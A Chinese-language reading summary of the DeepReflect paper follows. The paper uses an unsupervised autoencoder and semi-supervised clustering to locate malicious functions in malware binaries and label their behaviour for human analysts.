• 为了定位恶意软件组件，我们以一种新型（novel）方式，即首先使用一个无监督的深度神经网络l来定位恶意软件中恶意组件（函数）的位置
• 其次，通过半监督聚类分析对恶意组件进行分类，根据恶意行为分类确定恶意函数的行为，其中分析人员在他们的日常工作流程中逐步提供标签
• 该工具是实用的，因为它不需要数据标记（require no data labeling）来训练定位模型，也不需要最小/非侵入性标记来增量地训练分类器

1.1 企业界对比：CAPA

我们通过5个恶意软件分析人员对超过26k个恶意软件样本进行评估。实验发现，DeepReflect让每个分析人员需要逆向工程的函数数量平均减少了85%。本文方法还可以检测到80%的恶意软件组件，而当使用基于签名的工具CAPA时，该值仅为43%。

1.2 学术界对比：Shap

此外，DeepReflect提出的自动编码器（autoencoder）比Shap（一种人工智能解释工具）表现得更好。这一点很重要，因为Shap是一种最先进（state-of-the-art）的方法，需要一个标记的数据集，而我们的自动编码器不需要。

二、引言

2.1 背景引出挑战

静态逆向工程恶意软件可能是一个手动且乏味的过程。公司每周可以收到多达 500 万个PE样本。虽然大多数组织提前对这些样本进行分类（triage），以减少要分析的恶意软件数量（即，检查 VirusTotal来获取反病毒 (AV) 引擎结果、在受控沙箱中执行样本、提取静态和动态签名等） ，但最终仍然需要静态逆向工程的恶意软件样本。这是因为总会有新的恶意软件样本，没有被反病毒公司分析过，或者缺乏签名来识别这些新样本。最终，该样本有可能会拒绝在分析人员的动态沙箱（sandbox）中执行。

当前的解决方案以为恶意软件样本创建签名、分类和聚类的形式存在。然而，这些解决方案只能预测样本的类别（例如，良性与恶意，或特定的恶意软件家族）。他们无法定位或解释恶意软件样本本身内部的行为（定位恶意函数位置、解释恶意函数行为），而分析师需要执行（perform）这些行为来生成报告并改进他们公司的恶意软件检测产品。事实上，由于工作量过大，该领域已呈现了倦怠。

为了确定他们的需求，我们咨询了四名逆向工程恶意软件分析师（一名来自AV公司，三名来自政府部门）。本文发现，如果恶意软件分析师有一个工具可以：

• 识别恶意软件中恶意函数的位置
• 标记这些恶意函数的行为

那么，他们的工作将更有效率。开发这样一种工具的挑战在于：

• 需要能够区分什么是良性的（benign），什么是恶意的（malicious）
• 理解识别出的恶意行为的语义

对于第一个挑战，区分良性和恶意是困难的，因为恶意软件和良性软件的行为通常在高层次上重叠。对于第二个挑战，自动标记和验证这些行为是很困难的，因为没有单独标记的恶意软件函数的数据集（与使用反病毒标签的开放数据集的恶意软件检测和分类系统不同）。

2.2 如何解决挑战

为了解决这些挑战，我们开发了DEEPREFLECT，它使用：

• 一个无监督的深度学习模型来定位二进制中的恶意函数【异常检测】
• 一个半监督聚类模型，它使用从分析人员的日常工作流程中获得的少量标签对识别的函数进行分类

为了定位（locate）二进制文件中的恶意软件组件，我们使用自动编码器(autoencoder，AE)。AE是一种基于神经网络的机器学习模型，其任务是将其输入重构为输出（编码还原）。由于网络内层存在压缩，AE被迫学习训练分布中的关键概念。我们的直觉是，如果在良性二进制文件上训练AE，它将很难重建恶意二进制文件（即我们没有训练它的样本）。自然地，AE将无法重建（reconstruct）包含恶意行为的二进制数据区域（在良性样本中是不可见或罕见的）。因此（Thus），重构错误可以用来识别恶意软件中的恶意组件。此外，由于AE是以无监督的方式训练的，我们不需要数百万标记的样本，公司可以利用自己的恶意软件二进制数据集。

为了对定位的恶意软件组件进行分类，我们：

• 对恶意软件样本中所有已识别的函数进行聚类
• 使用分析人员在日常工作流程中所做的注释（即少量人工分析的函数行为标签）来标记聚类结果

这种方法是半监督的，因为每个类簇（cluster）只需要少数函数的行为标签（如三个）即可将大多数标签分配给整个集群。随着时间推移，我们可以将AE识别的函数映射到聚类模型来预测函数的类别（如，C&C、特权升级等），即认为函数和最接近的类簇有相同的行为标签。这反过来又节省了分析人员的时间，因为他们不必一次又一次地对相同的代码进行逆向工程。

注意，无监督 AE 为恶意软件分析人员提供了即时实用程序，无需训练或使用半监督聚类模型。这是因为它：

• 通过对最相关的函数进行排序（重构误差）来吸引分析师的注意力
• 过滤掉可能需要花费分析师数小时或数天时间来解释的函数

DEEPREFLECT根据我们是为恶意软件分析人员的反馈进行设计和修改的，并评估其有效性和实用性。

我们评估了DEEPREFLECT的性能，包括五个工作：

• 识别恶意软件中的恶意活动
• 聚类相关的恶意软件组件
• 将分析人员的注意力集中在重要事情上
• 揭示不同恶意软件家族之间的共享行为
• 处理涉及混淆的对抗性攻击

2.3 创新（Contribution）

我们的贡献如下：

• 提出了一个新颖的工具，它可以帮助恶意软件分析师：(1) 在静态恶意软件样本中自动定位和识别恶意行为，(2) 洞察分析不同恶意软件家族之间的功能关系。
• 提出一种在静态分析中使用机器学习的新颖实用方法：（1) AE训练是在一种无监督方式下进行的，无需为系统标注任何样本，就可以产生突出显示恶意软件组件的实用程序，(2) 分类是以半监督方式完成，具有最小的干预：分析人员的常规工作流的注释用作标签，群集中的大多数标签用于对相关的恶意软件组件进行分类。
• 本文提出了一种解释框架（如我们提出的 AE 或 SHAP）定位恶意软件重要部分的方法，该方法可以映射回原始二进制或控制流图的特征。

3 Scope & Overview

3.1 Motivation

图1展示了一个典型的恶意软件分析师Molly的工作流程 。当给定一个恶意软件样本，Molly的任务是了解该样本在做什么，以便她写一份技术报告并改进公司的检测系统，从而在未来识别该类样本。

1. 首先查询VT（virtotul）和其他组织，以确定他们以前是否见过这个特定的样本，然而并没有
2. 在一个自定义的沙箱中执行样本以了解其动态行为，然而没有显示任何恶意行为或拒绝执行；运行一些内部工具，诱使恶意软件执行其隐藏的行为，但仍无效时；
3. 尝试脱壳（unpacking）和静态逆向分析恶意样本，以了解其潜在行为
4. 在反汇编程序（IDA Pro 或 BinaryNinja）中打开脱壳后的样本，被数千个函数淹没，接着运行各种静态签名检测工具来识别恶意软件的某些特定恶意组件，但仍无效
5. 逐个查看每个函数（可能通过 API 调用和字符串过滤）以尝试了解它们的行为
6. 在分析样本的行为后，撰写分析报告（包含基本信息、IOC、静态签名等）

然而，当新的样本出现时，Molly需要重复同样的任务。由于这种重复的体力劳动，这项工作对Molly来说变得单调乏味和耗时。 DEEPREFLECT旨在减轻恶意分析师的分析工作，能逆向一个未知的恶意软件样本，从而减轻他们繁重的任务，并为相似的函数标注行为标签。

3.2 Proposed Solution

我们提出了DEEPREFLECT，该工具能：

• 定位恶意软件binary中的恶意函数

  locates malicious functions within a malware binary

• 描述这些函数的行为

  describes the behaviors of those functions

虽然分析人员可能首先尝试通过搜索特定的字符串和API调用来静态地识别行为，但这些行为很容易被分析人员混淆或隐藏（ obfuscated or hidden）。DEEPREFLECT没有做出这样的假设，并试图通过控制流图(control-flow graph，CFG)特性和API调用（API calls）的组合来识别这些相同的行为。

DEEPREFLECT通过学习正常情况下良性的二进制函数来工作。因此，任何异常都表明这些函数不会出现在良性二进制文件中，而可能被用于恶意行为中。这些异常函数更可能是恶意函数，分析师可以只分析它们，从而缩小工作范围。如图5所示，DEEPREFLECT将分析师必须分析的函数数量平均减少了 85%。此外，实验表明我们的方法优于旨在实现相同目标的基于签名的技术。

3.3 Research Goals

本文有四个主要目标：

• 准确地识别恶意软件样本中的恶意活动
• 帮助分析人员在静态分析恶意软件样本时集中注意力
• 处理新的（不可见的）恶意软件家族
• 深入了解恶意软件家族的关系和趋势

4、模型设计

4.1 总体框架

DEEPREFLECT的目标是识别恶意软件二进制中的恶意函数。在实践中，它通过定位异常基本块（感兴趣区域 regions of interest，RoI)来识别可能是恶意的函数。然后，分析人员必须确定这些函数是恶意行为还是良性行为。DEEPREFLECT有两个主要步骤，如图2所示：

• RoI检测（RoI detection）：通过AE（AutoEncoder）来执行的
• RoI注释（RoI annotation）：通过对每个函数的所有RoI聚类，并将标记聚类结果来执行注释。注意，一个函数可能有多个ROI，用每个函数自己的ROI的均值表示该函数，然后对函数聚类

（1）术语 Terminology

首先定义恶意行为（malicious behaviors）的含义。我们根据识别恶意软件源代码的核心组件（例如，拒绝服务功能、垃圾邮件功能、键盘记录器功能、命令和控制C&C功能、利用远程服务等）来生成真实情况（ground-truth）。通过MITRE ATT&CK框架描述，如表3所示。

然而，当静态逆向工程评估恶意软件二进制文件时（即在野生恶意软件二进制 in-the-wild malware binaries），我们有时无法肯定地将观察到的低级函数归因于更高级别的描述。

例如，恶意软件可能会因为许多不同的原因修改注册表项，但有时确定哪个注册表项因什么原因而被修改是很困难的，因此只能粗略地标记为“防御逃避：修改注册表（Defense Evasion: Modify Registry）” 。即使是像CAPA这样的现代工具，也能识别出这些类型的模糊标签。因此，在我们的评估中，我们将“恶意行为”表示为可由MITRE ATT&CK框架描述的函数。

（2） RoI Detection

检测的目标是自动识别恶意软件二进制文件中的恶意区域。例如，我们希望检测C&C逻辑的位置，而不是检测该逻辑的特定组件（例如，网络API调用connect()、send() 和 recv()）。RoI检测的优点是分析人员可以快速定位启动和操作恶意行为的特定代码区域。先前的工作只关注于创建临时签名，简单地将二进制文件标识为恶意软件或仅基于API调用的某些函数。这对于分析人员扩大他们的工作特别有用（即不仅仅依赖手动逆向工程和领域专业知识）。

(3) RoI Annotation

注释的目标是自动标记包含RoI的函数的行为，即识别恶意函数在做什么。由于分析人员为标记集群所执行的初始工作是一个长尾分布。也就是说，只需要前期做比较重要的工作，随着时间推移，工作量会减少。这个过程的优点很简单：它为分析人员提供了一种自动生成未知样本的报告及见解的方法。例如，如果恶意软件示例的变体包含与之前的恶意软件示例相似的逻辑（但对于分析人员来说看起来不同以至于不熟悉），我们的工具为他们提供了一种更快实现这一点的方法。

4.2 RoI Detection

首先介绍了AutoEncode（AE）神经网络。此外，先前的工作已经证明，当自动编码器在良性分布上进行训练时，AE可以检测到恶意（异常）行为。我们的假设是，与良性二进制文件相比，恶意软件二进制文件将包含相似但独特的功能。

当使用大量良性样本训练AE后，给定一个随机的样本，可以利用公式(2)计算，超过MSE的即认为是恶意区域，突出显示ROI异常基本块。与先前识别整个样本为恶意区域的工作相比，我们识别了每个样本中的恶意区域。具体而言，我们计算的 localized MSE 定义如下： \[ \operatorname{LMSE}(x, \hat{x})=\left(x^{(i)}-\hat{x}^{(i)}\right)^{2} \]

（1）Features

为了在二进制样本中定位恶意行为的位置，编码使用的特征必须一对一的映射回原样本。因此，作者将每个二进制文件表示为一个 m×c 的矩阵，该矩阵使用c个静态特征捕获前m个基本块以总结样本的behavior。m设置为20k个基本块，是因为95%的数据集样本具有20k或者更少的基本块， c设置为18个特征。基本块通常是以控制传输指令结尾的一系列指令。当然，根据反汇编程序的不同，基本块可能会有不同的表示，因此这种严格的定义可能不适用于所有静态恶意软件分析系统。

我们特征（c）的灵感来自于先前工作中发现的特征，即属性控制流图（attributed control flow graph，ACFG）特征[23,75]。在这些工作中，ACFG特征被选择来执行二进制相似性，因为它们假设这些特征(由结构和数字CFG特征组成)将在多个平台和编译器上是一致的。

[23] Scalable graph-based bug search for firmware images. 2016 CCS

[75] Neural Network-based Graph Embedding for Cross-Platform Binary Code Similarity Detection. 2017 CCS

虽然可以说我们的目标是相似的（即识别二进制文件之间的异同），但我们专门为研究恶意软件定制了这些功能。特别是，我们选择了autoencoder要使用的功能，以捕获更高级别的行为。我们的特征包括每个基本块中的指令类型计数（为ACFG特征提取的指令类型的更详细形式）、CFG的结构特征和API调用类别（用于总结恶意软件程序行为[18]），将每个基本块总结如下：

(a) Structural Characteristics

结构特征2个，每个基本块的后代（offspring）数量和betweenness score，可以描述不同功能的控制流结构，比如网络通信（connect, send, recv）或文件加密（findfile, open, read, encrypt, write, close）。如图所示:

该恶意软件通过InternetOpenUrlA() 访问URL，通过CreateFileA() 创建文件，并通过InternetReadFile() 和WriteFile() 将从连接接收的数据写入文件。

(b) Arithmetic Instructions

算术指令3个，每个基本块基本数学、逻辑运算、位移指令的数量（“basic math”, “logic operation”, and “bit shifting”）。这些算术指令特征可以用来表示如何对更高层次的行为执行数学运算，以及数字如何与函数交互。例如，加密函数可能包含大量的xor指令，混淆函数可能包含逻辑和位移操作的组合等。我们从《英特尔体系结构软件开发人员手册》[26]中检索到这些说明。此外，我们还提供了一个恶意软件示例，在图中展示了这些类型的功能。

此函数对数据执行各种按位操作。类似这样的复杂逻辑可以解释为执行某种除臭或解码，以隐藏恶意软件解释或收集的数据。

(c) Transfer Instructions

转移指令3个，每个基本块内堆栈操作，寄存器操作和端口操作的数量（“stack operation”, “register operation”, and “port operation”）。这些底层特征可描述更高级别函数的传输操作，比如函数的参数和返回值是如何与函数内其余数据交互的，从而描述更复杂的逻辑和数据操作。例如去混淆、解密函数可能设计更多move-related指令，C&C逻辑设计更多堆栈相关指令。因为它调用了更多的内部/外部函数。我们同样从《英特尔体系结构软件开发人员手册》中检索到了这些说明

(d) API Call Categories

API类别10个，我们使用的API调用特性是每个基本块中与“文件系统”、“注册表”、“网络”、“DLL”、“对象”、“进程”、“服务”、“同步”、“系统信息”和“时间”相关的API调用的数量。这些类别的灵感来自priorwork for malware clustering[18]。这些特性可用于表示执行恶意活动（如网络通信和文件系统、注册表和进程操作）所需的高级库操作。由于这些直接表示高级行为，因此它们对于理解函数的总体行为至关重要。下图显示了利用这些不同调用类型执行不同行为的恶意软件功能的示例。

[18] Scalable, Behavior-Based Malware Clustering. NDSS 2009.

此函数用于搜索具有特定扩展名（即doc、jpg等）的各种文件。然后将这些文件复制到单独的位置。此行为可能是针对其他恶意行为的设置，如数据外泄或勒索。

我们认为，与经典的ACFG功能相比，这些功能更适合恶意软件，因为（1）它们包括在priorwork中用于恶意软件检测的API调用（2）指令类别更细粒度，允许每个基本块中有更多的上下文（如前所述）以及（3）它们不依赖太容易规避攻击的字符串[77]。当然，如果有一个有动机的对手，任何机器学习模型都可能受到攻击和欺骗，从而产生错误和意外的输出。虽然我们的功能和模型也不例外，但我们认为它们足以产生可靠的模型（即，其行为符合预期），并使其变得足够困难，以至于对手必须广泛地工作以产生误导性的输入（如中所示 4.7). 有关对我们系统的潜在攻击的讨论，请参阅 5.

（2）模型

Autoencoder使用U-Net模型，U-Net的优点是其在编码器和解码器之间有跳过连接（skip connections），对样本x可以跳过某些特征的压缩以在重构的x’中保持更高的保真度。

首先收集大量的良性样本，对每个binary抽取上述18个静态特征用于表示该binary。设有用feature表示的样本x，AE重构后得到x’，训练的目标是最小化重构损失，即输入x和输出x’之间的损失。

RoI Detection会在m个基本块中检测出一些异常基本块。这些基本块分别属于不同的函数，使用例如BinaryNinja的工具就可以确定ROI属于哪些函数，即认为这些函数可能是恶意函数，也就完成了恶意函数定位的任务。后续RoI Annotation就是对这些函数聚类，完成恶意函数行为标记（分类）的任务。

4.3 RoI Annotation

给定一个新样本x，我们希望识别其每个函数的行为（类别），并将其报告给Molly。由于标记所有的函数都是不实用的，所以我们只注释了少量的函数，并使用聚类分析来传播结果。

（1）Clustering Features

假设一组脱壳恶意软件，按上述特征提取方式（18种特征）得到每个binary的特征表示，其中一个binary为x。

（2）Clustering Model

使用PCA将特征数从18降维至5，然后使用HDBSCAN算法对5维特征聚类。

五、实现

接下来，我们将描述如何部署和使用它。

(1) Initialization

• 首先对良性和恶意binaries脱壳
• 提取binary静态特征，形成20×18的矩阵
• 用良性样本训练AutoEncoder
• 使用训练好的AE从恶意样本中提取ROIs，即恶意基本块位置
• 计算恶意二进制中恶意函数的行为表示，加入聚类的训练集D
• PCA降维并聚类生成C

人工分析恶意软件手动打标，这些label注释到聚类训练集中，从而评估实验结果。换句话说，每个cluster只需要其中几个函数的label，就可确定整个cluster的label，即确定整个cluster中函数的恶意行为。

(2) Execution

当Molly收到一个新的样本x，DeepReflect会自动定位恶意函数并标注恶意行为。

• 对样本x执行脱壳（unpack）
• 通过AutoEncoder获取ROIs
• 使用BinaryNinja以及ROIs确定恶意函数集合，然后计算恶意函数的行为表示
• PCA模型降维
• 计算每个恶意函数最相近的集群，通过计算和聚类中心的距离实现
• 分配大数据集群注释给函数

接下来，Molly分析highlighted functions，从而实现：

• obtains a better perspective on what the malware is doing
• annotates any function labeled “unknown” with the corresponding MITRE category (dynamically updating D)
• observe shared relationships between other malware samples and families by their shared clusters（共享关系，分析恶意软件家族的相关性）